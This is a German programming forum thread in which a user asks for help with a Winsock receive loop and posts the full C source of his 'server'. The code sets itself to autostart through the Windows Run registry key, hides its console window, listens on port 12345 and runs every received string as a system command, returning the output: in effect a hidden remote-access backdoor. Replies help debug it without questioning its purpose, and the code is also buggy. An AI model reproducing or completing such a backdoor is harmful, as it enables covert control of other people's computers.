Winsock frage



  • Da Du mit asynchronen Sockets arbeitest (wie es aussieht), werden Funktionen wie send oder recv den Return-Wert WSAWOULDBLOCK liefern. Dieser signaliert aber eigentlich keinen Fehler, sondern zeigt lediglich an, dass diese Funktion das Programm potentiell blockiert. Dieses Flag musst Du also noch bei Deiner Fehlerprüfung ausschließen.



  • kannste mir evtl. n kleines bsp zeigen, weiß jetz nich so genau wie du das meinst, soll ich sc auf WSACOULDBLOCK prüfen(true) und das in nen header von ner while schleife packen ?



  • Hm hab leider kein Beispielcode... also in der Variable rc wird IMMER SOCKET_ERROR stehen.



  • was kann ich denn in den whileschleifenkopf reinschreiben damit das prog mich nich gleich wieder rausschmeinst und ich mehrere befehle ausführen kann ???

    die whileschleiße ist ja, ausslaggebend:

    while(rc!=SOCKET_ERROR) 
      { 
        rc=recv(connectedSocket,buf,256,0); 
        if(rc==0) 
        { 
          printf("Server hat die Verbindung getrennt..\n"); 
          break;
    .
    .
    .
    

    while(???) <--- wat muss da drin stehn ?



  • @peterr: Springt beim Code oben dann dein "Server hat die Verbindung getrennt.." an oder wie?

    Ansonsten: Bei recv() aufpassen 😉

    MSDN schrieb:

    calling recv will return as much data as is currently available—up to the size of the buffer specified.

    Heisst: Mit einem recv() kommen nicht zwingend immer 256-Blöcke wie vermutlich gewünscht an!

    Microsoft macht das so:
    http://msdn2.microsoft.com/en-us/library/ms740146.aspx

    @CodeFinder: Ich scheine gerade verwirrt zu sein, woran erkennst du das er non-blocking sockets hat? Hab ich was überlesen oder so? *confused*



  • ich klatsch euch am besten mal den ganzen code rein:

    #include <windows.h>
    #include <winsock.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #define NUM_ELEMENTS(x)  (sizeof((x)) / sizeof((x)[0]))                     //needed for ip dedect
    
    int startWinsock(void);
    	int main()
    		{
      	 	long rc;
          SOCKET acceptSocket;
          SOCKET connectedSocket;
          SOCKADDR_IN addr;
          char buf[256];
          char buf2[300];
    //runit:   //dont compile
    //Run programm on system startup
      HKEY hkey;
      HKEY KEY = HKEY_LOCAL_MACHINE;
      char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
      char name[100]= {"Autostart"};
      char value[100]= {"C:\\Programme\\n32s.exe"};
    
      RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey);
      RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
      RegCloseKey(hkey);
    
    //dedect own ip
    struct hostent* h;
      WSADATA wsaData;
      UCHAR   ucAddress[4];
      CHAR    szAddressInfo[64];
      CHAR    szHostName[MAX_PATH];
    
        WSAStartup(MAKEWORD(1, 1), &wsaData);
        if(SOCKET_ERROR != gethostname(szHostName, NUM_ELEMENTS(szHostName)))
        {
            if(NULL != (h = gethostbyname(szHostName)))
            {
                for(unsigned x = 0; (h->h_addr_list[x]); x++)
                {
                    ucAddress[0] = h->h_addr_list[x][0];
                    ucAddress[1] = h->h_addr_list[x][1];
                    ucAddress[2] = h->h_addr_list[x][2];
                    ucAddress[3] = h->h_addr_list[x][3];
                }
            }
        }
        WSACleanup();
    
    //Starting winsock
    		rc = startWinsock();
    
    //hide the server
        HWND hwnd = FindWindow("ConsoleWindowClass",NULL);
       ShowWindow(hwnd,SW_HIDE);
    
    //winsock shit
          printf("Norb32 Server © CC_IP 2006\n");
      	   if(rc!=0)
          	{
         	 	printf("\nFehler: startwinsock, fehler code: %d\n",rc);
          	return 1;
          	}
          	else
          	{
          	printf("\nWinsock gestartet!\n");
          	}
    
    		   acceptSocket=socket(AF_INET,SOCK_STREAM,0);
             if(acceptSocket==INVALID_SOCKET)
             {
             printf("\nFehler: Der socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError());
             return 1;
             }
             else
             {
             printf("\nSocket erstellt!\n");
             }
    
       memset(&addr,0,sizeof(SOCKADDR_IN));
       addr.sin_family=AF_INET;
       addr.sin_port=htons(12345);
       addr.sin_addr.s_addr=inet_addr(szAddressInfo);
    
       rc=bind(acceptSocket,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));
    
       if(rc==SOCKET_ERROR)
       	{
          printf("\nFehler: bind gescheitert, fehler code: %d\n",WSAGetLastError());
          }
          else
          {
          printf("\nSocket an Port 12345 gebunden\n");
          }
    
          rc=listen(acceptSocket,10);
          if(rc==SOCKET_ERROR)
          {
          printf("\nFehler: listen, fehler code: %d",WSAGetLastError());
          }
          else
          {
          printf("\nacceptSocket ist im Listen Modus warte auf Verbindung...\n");
          }
    
          connectedSocket=accept(acceptSocket,NULL,NULL);
          if(connectedSocket==INVALID_SOCKET)
          	{
             printf("Fehler: accept, fehler code: %d\n", WSAGetLastError());
             }
             else
             {
             printf("Neue Verbindung wurde akzeptiert!\n");
             }
    // transfer data
      while(rc!=SOCKET_ERROR)
      {
        rc=recv(connectedSocket,buf,256,0);
        if(rc==0)
        {
          printf("Server hat die Verbindung getrennt..\n");
          break;
        }
        if(rc==SOCKET_ERROR)
        {
          printf("Fehler: recv, fehler code: %d\n",WSAGetLastError());
          break;
        }
    //terminate string
        buf[rc+9]='\0';
    //paste in file
        buf[rc]='>';
        buf[rc+1]='c';
        buf[rc+2]=':';
        buf[rc+3]='\\';
        buf[rc+4]='a';
        buf[rc+5]='.';
        buf[rc+6]='t';
        buf[rc+7]='x';
        buf[rc+8]='t';
    //run this on system
        system(buf); 
    
        FILE * pFile;
      long lSize;
      char * buffer;
    
      pFile = fopen ( "c:\\a.txt" , "rb" );
      if (pFile==NULL) exit (1);
    
    // obtain file size
      fseek (pFile , 0 , SEEK_END);
      lSize = ftell (pFile);
      rewind (pFile);
    
    // allocate memory to contain the whole file
      buffer = (char*) malloc (lSize);
      if (buffer == NULL) exit (2);
    
    // copy the file into the buffer
      fread (buffer,1,lSize,pFile);
    
    /*** the whole file is loaded in the buffer ***/
    
    // terminate
      fclose (pFile);
      free (buffer);
           rc=send(connectedSocket,buffer,strlen(buffer),0);
    
      }
    //close the winsockcrap
      closesocket(acceptSocket);
      closesocket(connectedSocket);
               }
          int startWinsock(void)
          	{
      	 WSADATA wsa;
    //goto runit;     //dont compile
        return WSAStartup(MAKEWORD(2,0),&wsa);
     	  		}
    
    // Developed by CC_IP powered by www.excluded.org
    // i know this serverprogramm is easily exploitable...
    

    so das mal der server source.



  • geeky schrieb:

    @CodeFinder: Ich scheine gerade verwirrt zu sein, woran erkennst du das er non-blocking sockets hat? Hab ich was überlesen oder so? *confused*

    Ne hast Recht, hab einfach mal (ganz dreißt 😃 ) wegen dem WSAStartup (kp, warum ^^) auf ein WSAAsyncSelect geschlossen, aber in seinem letzten Posting sieht mans ja, dass es keine Non-Blocking-Sockets sind 🙄 . Sry, my fault 😉 !

    Also, @peterr: Vergiss was ich hier geschrieben habe, ist hier nicht zutreffend ⚠ , Sry!



  • hmm, jo, hab mir schon gedacht wie jetz asynchron, hab ich ja eigentl nix drinne, aber wie gesagt ich hatte dich au ned richtig verstanden, was du gemeint hast, drum die frage. Bleibt jetz nur noch die frage wie ich mein prob löschen kann ^^



  • ehm ich meinte natürlich wie ich mein prob lösen nich löschen kann 🙂



  • Wo steigt der Server denn aus? bzw. was gibt er so aus?



  • sobald ich ihm vom client einen befehl schicke (den er in system() ausführt) wird der befehl ausgeführt und der server schließt sich ohne meldung... einen 2. befehl kann ich ihm nicht schicken, da er sich sofort nach dem ausführen des ersten befehls den er bekommt, sich schließt.



  • kannst du den server nicht einfach debuggen und nachschauen was er NACH dem system() aufruf macht ?
    desweiteren kann ich nur raten ein paar kontrollausschrifften zu machen ala printf("Methode/Schleife X rein") printf("Methode/Schleife X raus")

    EDIT: kann es sein das dein Client closesocket() nach der übertragung ausführt oder gar beendet wird ?
    recv() gibt bei erfolgreich geschlossener Socketverbindung (egal ob client oder server das macht) 0 zurück!

    EDIT-buttondrückenisssogeil^^: du hastb deinen Code doch so schnön kommentiert, gib deine kommentare doch einfach via printf() aus
    und vergiss das system(pause) am ende deiner main nicht bevor du das programm beendest


Anmelden zum Antworten